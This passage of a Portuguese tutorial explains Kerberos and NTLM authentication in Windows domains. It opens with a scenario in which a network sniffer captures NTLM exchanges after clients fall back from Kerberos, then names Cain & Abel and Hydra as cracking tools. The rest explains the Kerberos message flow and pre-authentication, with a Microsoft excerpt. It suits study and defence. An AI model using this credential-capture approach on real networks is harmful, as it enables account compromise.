Agora o que acontece é que ele tem que se autenticar primeiro junto do servidor em questão (NetLogon) para de seguida caso a autenticação tenha sucesso, se poder gerar um TGT para o serviço solicitado que no caso é CIFS- Common Internet File System.

O problema reside precisamente aqui, vamos supor hipotéticamente que em outro ponto da rede nesta comunicação particular TCP/IP, temos um intruso com um sniffer de rede ligado a um switch onde também está a ligado a uma porta etternet o nosso File Server. “Esse sniffer por exemplo pode ser o ettercap, um belo sniffer por sinal para este tipo de invasões”.

Bom, à primeira vista está tudo bem, pois os dados vão ser encriptados e a própria autenticação por Kerberos tem segurança que não deixa trafegar os dados em “plaint text”, certo?

A resposta é certo! Está tudo bem, até que alguém está com um problema enorme de obter a leitura de um documento importante e o DNS-Domain Name System está com um problema nos seus “Resource Records” que foram previamente registados por “Dynamic Update” dentro de uma zona segura apenas.

Bem, até aqui está tudo certo, mas tem aqui um grande mas...porque esse “Resource Record” do tipo “Host” que traduz o hostname do file server em questão para o IP address respectivo não se encontra neste momento no nosso Controlador de dominio PDC.

Um dos factos pode ter sido a eliminação desse recurso por descuido ou existiu uma falha no servidor que permitio o “Aging and Scavening” entrar em acção e limpar os recursos que estavam com um “timestamp” para mais de 14 dias o “default” no windows server.

Neste caso, o administrador de redes que está no local para resolver o problema rapidamente vai dar ao usuário o IP do File Server e é aqui que toda a política de segurança e afins entra em colapso.

Com esta simples e inofensiva resolução do problema, o administrador acabou por abrir uma brecha na nossa rede, pois ao dizer o IP do file Server ele permitiu os seguintes pontos:

• A autenticação passou imediatamente de Kerberos para NTLM.
• O Invasor captou os pacotes NTLM da autenticação em vez dos pacotes Kerberos.
• Aumentou em muito a possibilidade deste acesso ser quebrado como vamos ver em seguida

Nesta imagem podemos ver a share file aberta assim como o Protocolo SMB em uso.

Podemos também ver nesta imagem que o protocolo de Autenticação de facto usado na partilha dos ficheiros é o NTLM, susceptível de ser quebrado muito mais facilmente do que o Kerberos v5.

Até porque o cliente quando armazena os tickets proveniente da comunicação com o KDC, eles não são fisicamente gravados em discos, não sendo possível paginar os mesmos como acontece com o ficheiro SAM que armazenam as credencias das contas locais quando um computador não pertence a um domínio, mas sim a um workgroup.

Como tal tentar encontrar os tickets e quebrá-los não é uma forma viável neste tipo de autenticação, existem outras!!

Para concluir esta parte do tutorial quero deixar uma ideia de algumas ferramentas que podem ser utilizadas neste tipo de quebra de senhas LM ou NTLM, mas como a intenção do tutorial não é fazer referências extensas a programas de "cracker" e sim explicar o funcionamento do Kerberos, vou só deixar 2 programas que podem utilizar nos vossos testes.





Cain & Abel




Hydra

Esta ultima ferramenta é a minha preferida, pois suporta muitos protocolos de rede, mas ao mesmo tempo é uma ferramenta muito perigosa se cair em mãos erradas.

Protocolos suportados:

TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC,
RSH, RLOGIN, CVS, SNMP, SMTP-AUTH, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS,
ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable,
LDAP2, Cisco AAA (incorporated in telnet module).

Utilização do Kerberos:

Os seguintes softwares podem utilizar Kerberos para a autenticação:

• AFS
• Apache (com o módulo mod_auth_kerb)
• Apache 2 (usando libapache-mod-auth-kerb)
• Roteadores e Switches Cisco utilizando IOS
• Coda File System
• Eudora
• Mac OS X
• Microsoft Windows (2000 e posteriores) utiliza como protocolo de autenticação padrão
• Mulberry, um cliente de e-mail desenvolvido por Cyrusoft, Inc.
• NFS (Desde NFSv3)
• OpenSSH (with Kerberos v5 or higher)
• PAM (com o módulo pam_krb5)
• Samba Desde v3.x
• SOCKS (Desde SOCKS5)
• Netatalk
• As implementações X Window System
• Indire(c)tamente, qualquer software que possa utilizar o SASL para autenticação, como o OpenLDAP, DovecotIMAP4 e servidores POP3, Servidor de e-mail Postfix
• O suíte de aplicativos Kerberos já vem com os clientes e servidores habilitados para rsh, FTP, e Telnet
• Qualquer software baseado em Java (Desde 1.4.2) utilizando JAAS/JGSS pode utilizar o Kerberos para a sua segurança, veja http://java.sun.com/javase/6/docs/te...le-signon.html
• 
  

O Protocolo:

Qualquer um pode especificar o protocolo utilizando a notação de protocolo de segurança, onde Alice(A) se autentica com Bob(B) utilizando um servidor S. Onde:

• KAS é uma chave pré-estabelecida somente conhecida por A e S;
• Como também KBS é somente conhecido por B e S;
• KAB é uma chave de sessão entre A e B, gerada a cada vez que o protocolo é utilizado;
• TS e TA são marcas temporais geradas por S e por A, respectivamente;
• L é um 'lifespan' definindo o tempo de vida da marca temporal.

Funcionamento efectivo do Kerberos:

A seguir, é descrito o funcionamento do protocolo passo a passo.
As seguintes nomenclaturas serão usadas:

• SA = Servidor de Autenticação (DC)
• SCT = Servidor de Concessão de Ticket (KDC)
• SS = Servidor de Serviço (File Server por ex.)
• cliente = Aplicação cliente do kerberos no sistema

Em uma sentença: o cliente se autentica no SA, então demonstra para o SCT que está autorizado a receber um Ticket para utilizar em um serviço (e o recebe), então demonstra ao SS que ele está aprovado para receber um serviço.
Em mais detalhes:

1. O usuário coloca o nome de usuário e a senha no cliente.
2. O cliente aplica uma criptografia de mão única na senha digitada, e isso se torna a chave secreta do cliente.
3. O cliente envia uma solicitação de serviço, através de uma mensagem em texto-plano, ao SA. Exemplo de mensagem: “O usuário XYZ gostaria de receber um serviço”. Nota: Nem a chave secreta, nem a senha são enviadas ao SA.
4. O SA verifica se o cliente está em sua base de dados. Se estiver, ele manda as seguintes duas mensagens ao cliente:
   1. Mensagem A: Chave de sessão Cliente/SCT criptografada usando a chave secreta do usuário.
   2. Mensagem B: Ticket de Concessão (Que inclui a ID do cliente, endereço de rede do cliente, validade do ticket e a Chave de sessão Cliente/SCT) criptografado utilizando a chave secreta do SCT.
5. Somente após o cliente receber a mensagem A e B, ele descriptografa a mensagem A e obtém a Chave de sessão Cliente/SCT. Essa chave de sessão será utilizada em comunicações futuras com o SCT. (Nota: O cliente não consegue descriptografar a mensagem B, pois essa é criptografada utilizando a chave secreta do SCT). A partir desse momento, o cliente tem informações o suficiente para se autenticar no SCT.
6. Após requisitar o serviço, o cliente envia as seguintes duas mensagens ao SCT:
   1. Mensagem C: Composta pelo Ticket de Concessão vinda da mensagem B e o ID do serviço requisitado.
   2. Mensagem D: O Autenticador (que é composto do ID do cliente e a marca temporal), criptografado utilizando a Chave de sessão Cliente/SCT.
7. Após receber as mensagens C e D, o SCT descriptografa a mensagem B com sua chave secreta e a mensagem D (O Autenticador) utilizando a Chave de sessão Cliente/SCT da mensagem B, verifica se os dados das mensagens conferem com os dados de quem enviou os pacotes e, caso esteja tudo certo, envia as seguintes duas mensagens ao cliente:
   1. Mensagem E: Ticket Cliente-para-Servidor (que inclui o ID do cliente, endereço de rede do cliente, período válido, e uma chave de sessão Cliente/Servidor) criptografado utilizando a chave secreta do serviço.
   2. Mensagem F: Chave de sessão Cliente/Servidor criptografado utilizando a chave de sessão Cliente/SCT.
8. Após receber as mensagens E e F do SCT, o cliente tem informações suficiente para se autenticar no SS (Nota: O cliente não consegue descriptografar a mensagem E, pois essa é criptografada utilizando a chave secreta do SS). Assim, o cliente se conecta no SS e envia as seguintes mensagens:
   1. Mensagem E do passo anterior (o Ticket Cliente-para-servidor, criptografado utilizando a chave secreta do serviço) .
   2. Mensagem G: Um novo Autenticador, que inclui o ID do cliente, uma marca temporal, criptografados com chave de sessão Cliente/Servidor
9. Após receber as mensagens, SS descriptografa a mensagem E e, com o Ticket Cliente-para-Servidor que estava nesta, descriptografa a mensagem G. Novamente os dados das mensagens são comparados com os dados de quem as envia e, caso esteja tudo certo, uma mensagem de confirmação, codificada com a Chave de sessão Cliente/Servidor, é enviada ao cliente contendo a marca temporal recebida na mensagem G incrementada em uma unidade.
10. O cliente descriptografa a confirmação utilizando a chave compartilhada com o servidor e verifica se a marca temporal está atualizado corretamente. Se tiver, o cliente pode confiar no servidor e começa a pedir serviços ao mesmo.
11. O Servidor retorna os serviços solicitados pelo cliente.

Limitações do Kerberos:

Ponto de falha único: É necessária uma disponibilidade contínua do servidor central. Quando o servidor do Kerberos está indisponível, ninguém pode mais se autenticar na rede. Isso pode ser resolvido utilizando diversos servidores Kerberos.

O Kerberos necessita que os relógios internos dos clientes estejam sincronizados com o dele. Os Tickets têm um tempo de vida, e se o relógio do cliente não estiver sincronizado com o do servidor, a autenticação irá falhar.

Na configuração padrão, é necessário que os relógios dos clientes não tenham uma diferença maior do que 5 minutos. Na prática, servidores NTP são utilizados para manter os relógios do servidor e dos clientes sincronizados.

Eu utilizei uma ferramenta do “resource Kit” precisamente para mostrar a hora exacta do nosso servidor de dominio teste.local.



---------------------------------------------------------------------------------------

Visão do Kerberos em Inglês

Kerberos Operation


Finally, having acquired the concepts described in the preceding paragraphs, it is possible to discuss how Kerberos operates. We'll do this by listing and describing each of the packets which go between the client and KDC and between client and application server during authentication. At this point, it is important to underline that an application server never communicates directly with the Key Distribution Center: the service tickets, even if packeted by TGS, reach the service only through the client wishing to access them. The messages we will discuss are listed below (see also the figure below):

• AS_REQ is the initial user authentication request (i.e. made with kinit) This message is directed to the KDC component known as Authentication Server (AS);
• AS_REP is the reply of the Authentication Server to the previous request. Basically it contains the TGT (encrypted using the TGS secret key) and the session key (encrypted using the secret key of the requesting user);
• TGS_REQ is the request from the client to the Ticket Granting Server (TGS) for a service ticket. This packet includes the TGT obtained from the previous message and an authenticator generated by the client and encrypted with the session key;
• TGS_REP is the reply of the Ticket Granting Server to the previous request. Located inside is the requested service ticket (encrypted with the secret key of the service) and a service session key generated by TGS and encrypted using the previous session key generated by the AS;
• AP_REQ is the request that the client sends to an application server to access a service. The components are the service ticket obtained from TGS with the previous reply and an authenticator again generated by the client, but this time encrypted using the service session key (generated by TGS);
• AP_REP is the reply that the application server gives to the client to prove it really is the server the client is expecting. This packet is not always requested. The client requests the server for it only when mutual authentication is necessary.
  

Now each of the previous phases is described in greater detail with reference to Kerberos 5, but pointing out the differences with version 4. Nevertheless, it should be borne in mind that the Kerberos protocol is rather complicated and this document is not intended as a guide for those who wish to know the exact operating details (in any case, these are already written up in RFC1510). The discussion below has been left intentionally abstract, but sufficient for those who examine the KDC logs to understand the various authentication transitions and any problems which occur.
Note: the subsequent paragraphs enclose unencrypted data in round brackets (), and encrypted data in curly brackets {}: ( x, y, z ) means that x, y, z are unencrypted; { x, y, z }K indicates that x, y, z are encrypted all together using the symmetrical key K. It is also important to note that the order in which the components are listed in a packet has nothing to do with the real order found in the actual messages (UDP or TCP). This discussion is very abstract. Should you wish further details, please refer to RFC1510 having a good background on the descriptive protocol ASN.1


Authentication Server Request (AS_REQ)


In this phase, known as the initial authentication request, the client (kinit) asks the KDC (more specifically the AS) for a Ticket Granting Ticket. The request is completely unencrypted and looks like this:
AS_REQ = ( PrincipalClient , PrincipalService , IP_list , Lifetime )
where: PrincipalClient is the principal associated with the user seeking authentication (e.g. pippo@EXAMPLE.COM); PrincipalService is the principal associated to the service the ticket is being asked for and thus is the string "krbtgt/REALM@REALM" (see note*); IP_list is a list of IP addresses that indicate the host where it is possible to use the ticket which will be issued (see note **); Lifetime is the maximum validity time (requested) for the ticket to be issued.

Note *: it may seem superfluous to add the Principalservice to the initial authentication request since this would be constantly set to the TGS principal i.e. krbtgt/REALM@REALM. However, this is not the case, indeed, a user planning to use just one service during a work session, would not use the Single Sign-on, and may ask the AS directly for the ticket for this service, thus skipping the subsequent request to the TGS. From an operational standpoint (MIT 1.3.6) the following command is sufficient: kinit -S imap/mbox.example.com@EXAMPLE.COM pippo@EXAMPLE.COM

Note **: IP_list may also be null. In this case the corresponding ticket can be used by any machine. This resolves the problem of those clients under NAT, since their request would arrive at the service with a source address different from that of the requesting user, but the same as the router making the NAT. Instead, in the case of machines with more than one network card, IP_list should contain the IP addresses of all the cards: in fact it would be difficult to predict beforehand with which connection the server which provides the service would be contacted.


Authentication Server Reply (AS_REP)



When the previous request arrives, the AS checks whether PrincipalClient and PrincipalService exist in the KDC database: if at least one of the two does not exist an error message is sent to the client, otherwise the Authentication Server processes the reply as follows:

• It randomly creates a session key which will be the secret shared between the client and the TGS. Let's say SKTGS;
• It creates the Ticket Granting Ticket putting inside it the requesting user's principal, the service principal (it is generally krbtgt/REALM@REALM, but read the note* for the previous paragraph), the IP address list (these first three pieces of information are copied as they arrive by the AS_REQ packet), date and time (of the KDC) in timestamp format, lifetime (see note*) and lastly the session key. SKTGS; the Ticket Granting Ticket thus appears as follows:

TGT = ( PrincipalClient , krbtgt/REALM@REALM , IP_list , Timestamp , Lifetime , SKTGS )

• It generates and sends the reply containing: the ticket created previously, encrypted using the secret key for the service (let's call it KTGS); the service principal, timestamp, lifetime and session key all encrypted using the secret key for the user requesting the service (let's call it KUser). In summary:

AS_REP = { PrincipalService , Timestamp , Lifetime , SKTGS }KUser { TGT }KTGS

It may seem that this message contains redundant information (PrincipalService, timestamp, lifetime and session key). But this is not the case: since the information present in the TGT is encrypted using the secret key for the server, it cannot be read by the client and needs to be repeated. At this point, when the client receives the reply message, it will ask the user to enter the password.

The salt is concatenated with the password and then the string2key function is applied: with the resulting key an attempt is made to decrypt the part of the message encrypted by the KDC using the secret key of the user stored in the database. If the user is really who he/she says, and has thus entered the correct password, the decrypting operation will be successful and thus the session key can be extracted and with the TGT (which remains encrypted) stored in the user's credential cache.

Note *: the actual lifetime, i.e. which is put in the ticket is the lowest of the following values: the lifetime requested by the client, the one contained in the user's principal and that in the service principal. Actually in terms of implementation another limit can be set from the configuration of the KDC and applied to any ticket.


Ticket Granting Server Request (TGS_REQ)


At this point, the user who has already proved to be who he/she says (thus in his/her credential cache there is a TGT and session key SKTGS and wants to access the service but does not yet have a suitable ticket, sends a request (TGS_REQ) to the Ticket Granting Service constructing it as follows:

• Create an authenticator with the user principal, client machine timestamp and encrypt everything with the session key shared with the TGS, i.e.:

Authenticator = { PrincipalClient , Timestamp }SKTGS

• Create a request packet containing: the service principal for which the ticket is needed and lifetime uncrypted; the Ticket Granting Ticket which is already encrypted with the key of the TGS; and the authenticator just created. In summary:

TGS_REQ = ( PrincipalService , Lifetime , Authenticator) { TGT }KTGS


Ticket Granting Server Reply (TGS_REP)


When the previous request arrives, the TGS first verifies that the principal of the requested service (PrincipalService) exists in the KDC database: If it exists, it opens the TGT using the key for krbtgt/REAM@REALM and extracts the session key (SKTGS) which it uses to decrypt the authenticator. For the service ticket to be issued it checks that the following conditions have a positive outcome:

• the TGT has not expired;
• The PrincipalClient present in the authenticator matches the one present in the TGT;
• The authenticator is not present in the replay cache and has not expired;
• If IP_list is not null it checks that the source IP address of the request packet (TGS_REQ) is one of those contained in the list;

The previously checked conditions prove that the TGT really belongs to the user who made the request and therefore the TGS starts to process the reply as follows:

• It randomly creates a session key which will be the secret shared between the client and the service. Let's say SKService;
• It creates the service ticket, putting inside the requesting user's principal, the service principal, the list of IP addresses, the date and time (of the KDC) in timestamp format, the lifetime (as the minimum between the lifetime of the TGT and that associated with the service principal) and lastly the session key SKService. Known as TService the new ticket is:

TService = ( PrincipalClient , PrincipalService , IP_list , Timestamp , Lifetime , SKService )

• It sends the reply message containing: the previously created ticket, encrypted using the service secret key (let's call it KService); the service principal, timestamp, lifetime and new session key all encrypted using the session key extracted from TGT. In summary:

TGS_REP = { PrincipalService , Timestamp , Lifetime , SKService }SKTGS { TService }KService
When the client receives the reply, having in the credential cache the session key SKTGS, it can decrypt the part of the message containing the other session key and memorise it together with the service ticket TService which, however, remains encrypted. 

Application Request (AP_REQ)



The client, having the credentials to access the service (i.e. the ticket and related session key), can ask the application server for access to the resource via an AP_REQ message. It should be borne in mind that, unlike the previous messages where the KDC was involved, the AP_REQ is not standard, but varies depending on the application.

Thus, the application programmer has the job of establishing the strategy with which the client will use its credentials to prove its identity to the server. However, we can consider the following strategy by way of example:

• The client creates an authenticator containing the user principal and timestamp and encrypts everything with the session key SKService that it shares with the application server, i.e.:

Authenticator = { PrincipalClient , Timestamp }SKService

• It creates a request packet containing the service ticket TService which is encrypted with its secret key and the authenticator just created. In summary:

AP_REQ = Authenticator { TService }KService

When the previous request arrives, the application server opens the ticket using the secret key for the requested service and extracts the session key SKService which it uses to decrypt the authenticator. To establish that the requesting user is authentic and thus grant access to the service, the server verifies the following conditions:

• the ticket has not expired;
• The PrincipalClient present in the authenticator matches the one present in the ticket;
• The authenticator is not present in the reply cache and has not expired;
• If IP_list (extracted from the ticket) is not null it checks that the source IP address of the request packet (AP_REQ) is one of those contained in the list;

Note: the previous strategy is very similar to the one used by the Ticket Granting Server to check the authenticity of the user requesting a service ticket. But this should not be surprising, since we have already explained that the TGS can be considered as an application server whose service is to provide tickets to those who prove their identity with a TGT.


Pre-Authentication


As seen in the description of the Authentication Server Reply (AS_REP), before distributing a ticket the KDC simply checks that the principal of the requesting user and service provider exist in the database. Then, particularly if it involves a request for a TGT, it is even easier, because krbtgt/REALM@REALM certainly exists and thus it is sufficient to know that a user's principal exists to be able to obtain a TGT with a simple initial authentication request.

Obviously, this TGT, if the request comes from an illegitimate user, cannot be used because they do not know the password and cannot obtain the session key for creating a valid authenticator. However, this ticket, obtained in such a easy way can undergo a brute-force attack in an attempt to guess the long-term key for the service the ticket is intended for.

Obviously, guessing the secret of a service is not any easy thing even with current processing powers, however, with Kerberos 5, a pre-authentication concept has been introduced to reinforce security.

Thus if the KDC policies (configurable) request pre-authentication for an initial client request, the Authentication Server replies with an error packet indicating the need to pre-authenticate. The client, in light of the error, asks the user to enter the password and resubmit the request but this time adding the timestamp encrypted with the user long term key, which, as we know, is obtained by applying the string2key to the unencrypted password after having added the salt, if there is one.

This time, the KDC, since it knows the secret key of the user, attempts to decrypt the timestamp present in the request and if it is successful and the timestamp is in line, i.e. included within the established tolerance, it decides that the requesting user is authentic and the authentication process continues normally.

It is important to note that pre-authentication is a KDC policy and thus the protocol does not necessarily require it. In terms of implementation, MIT Kerberos 5 and Heimdal have pre-authentication disabled by default, while Kerberos within Windows Active Directory and the AFS kaserver (which is a pre-authenticated Kerberos 4) request it.

---------------------------------------------------------------------

Para terminar queria dizer apenas que existe muito mais informação sobre este assunto, pois o Kerberos hoje em dia tem um papel preponderante na salvaguarda dos interesses dos usuários e existem muitos tutoriais e softwares que explicam por uma lado como defender este protocolo ao máximo e por outro lado como quebra-lo ao máximo, conseguem ver o paradoxo?

Em referências deixo algumas das fontes que debrucei-me neste estudo assim como uma visão da Microsoft sobre o Kerberos e o NTLM.

MICROSOFT whitepaper

Autenticação Kerberos V5

O Kerberos V5 é o principal protocolo de segurança para autenticação num domínio. O protocolo Kerberos V5 verifica a identidade do utilizador a pedir autenticação e o servidor que fornece a autenticação pedida. Esta verificação dupla é também conhecida por autenticação mútua.
Descrição geral do funcionamento do Kerberos V5

O mecanismo de autenticação Kerberos V5 emite permissões de acesso aos serviços de rede. Estas permissões contêm dados encriptados, incluindo uma palavra-passe encriptada, que confirma a identidade do utilizador perante o serviço pedido. À excepção da introdução de uma palavra-passe ou das credenciais do cartão Smart Card, todo o processo de autenticação não é visível para o utilizador.
O Centro de Distribuição de Chaves (KDC, Key Distribution Center) é um serviço importante do Kerberos V5. O centro de distribuição de chaves (KDC, Key Distribution Center) é executado em cada controlador de domínio como parte do serviço de directório do Active Directory, que armazena todas as palavras-passe de clientes e outras informações de conta.
O processo de autenticação Kerberos V5 funciona do seguinte modo:

1. Num sistema cliente, o utilizador procede à autenticação perante o KDC utilizando uma palavra-passe ou um cartão Smart Card.
2. O KDC emite uma permissão de concessão de autorização (TGT) especial para o cliente. O sistema cliente utiliza esta TGT (ticket-granting ticket) para aceder ao serviço de concessão de permissão (TGS), que faz parte do mecanismo de autenticação Kerberos V5 no controlador de domínio.
3. Em seguida, o TGS (ticket-granting service) emite uma permissão de serviço para o cliente.
4. O cliente apresenta esta permissão de serviço ao serviço de rede pedido. A permissão de serviço comprova a identidade do utilizador perante o serviço e a identidade do serviço perante o utilizador.

Os serviços Kerberos V5 são instalados em cada controlador de domínio e um cliente Kerberos é instalado em cada estação de trabalho e servidor.
Cada controlador de domínio funciona como um KDC. Um cliente utiliza uma pesquisa do serviço DNS (Domain Name Service) para localizar o controlador de domínio disponível mais próximo. Esse controlador de domínio funciona então como o KDC preferido para o utilizador durante o início de sessão do utilizador. Se o KDC preferido ficar indisponível, o sistema localiza um KDC alternativo para fornecer autenticação.
Para mais informações sobre o modo como o Kerberos V5 fornece autenticação, consulte Kerberos Authentication Technical Reference na Referência Técnica do Windows Server 2003.
Para mais informações sobre Kerberos, consulte "Logon and Authentication" no Web site do Microsoft Windows Resource Kits.

Autenticação NTLM

Num ambiente de rede, o NTLM é utilizado como o protocolo de autenticação para transacções entre dois computadores, em que um ou ambos os computadores executem o Windows NT 4.0 ou uma versão anterior. As redes com esta configuração são conhecidas pela designação modo misto, a predefinição na família do Windows Server 2003.
Como exemplos, as configurações seguintes utilizariam o NTLM como mecanismo de autenticação:

• Um cliente do Windows 2000 ou do Windows XP Professional que procede à autenticação perante um controlador de domínio do Windows NT 4.0.
• Um cliente do Windows NT 4.0 Workstation que procede à autenticação perante um controlador de domínio do Windows 2000 ou do Windows Server 2003.
• Um cliente do Windows NT 4.0 Workstation que procede à autenticação perante um controlador de domínio do Windows NT 4.0.
• Utilizadores num domínio do Windows NT 4.0 que procedem à autenticação perante um domínio do Windows 2000 ou perante um domínio a executar a família do Windows Server 2003.
• Um cliente com o Windows 95, Windows 98 ou Windows Millennium Edition que procede à autenticação perante um controlador de domínio.

Para além disso, o NTLM é o protocolo de autenticação para computadores que não participam num domínio, tal como servidores e grupos de trabalho autónomos.
Para mais informações sobre NTLM e NTLMv2, consulte "Logon and Authentication" no Web site Microsoft Windows Resource Kits. (http://www.microsoft.com/)

Referências INEM

Fonte: http://www.zeroshell.net/eng/kerberos/ (Kerberos Funcionamento)

Fonte: http://tldp.org/HOWTO/Kerberos-Infrastructure-HOWTO/links.html (Kerberos)

Fonte: http://docs.google.com/viewer?a=v&q=cache:A4vtHdz9sFEJ:users.tkk.fi/u/autikkan/kerberos/AIWSC03_kerberos_replay_attacks.pdf+replay-attack+em+kerberos&hl=pt-PT&gl=pt&pid=bl&srcid=ADGEESj8DNhN7-yUSkJVDHPbwT8LE3xjFNO4QfzYZPDCEUknEVaV6NyHCu2zmDVY uavVdxn6rcb7QaFUweqDYtxGhFRysA_qHpbGa1JOjpEl5UKH8q Xttug0OynDr0-hGiiUh4I4w1WM&sig=AHIEtbTYNRONee2Lftbi2de6W_JHmOOF KA
(Kerberos Replay Attack)

Fonte: http://docs.google.com/viewer?a=v&q=cache:v8mQxg_KJJYJ:www.blackhat.com/presentations/bh-europe-09/Bouillon/BlackHat-Europe-09-Bouillon-Taming-the-Beast-Kerberous-whitepaper.pdf+replay-attack+em+kerberos&hl=pt-PT&gl=pt&pid=bl&srcid=ADGEESi-7sGuo_umKi8Z9UcLT1nbuzxvqQa0TFLyePlw8YsufRXu_RzsAgr8DiSTibNJyrpAcD88Qotw-ZhbOAEd0YIlaEnOpkW2ppT6MSJV59Ufsrrk26z457HedCqm0X-3f1ng2Cfx&sig=AHIEtbSRtXaK9qSJLfwAFGYcuXP82PZqow
(Kerberos Black Hat point of view)

Fonte: http://pt.wikipedia.org/wiki/Kerberos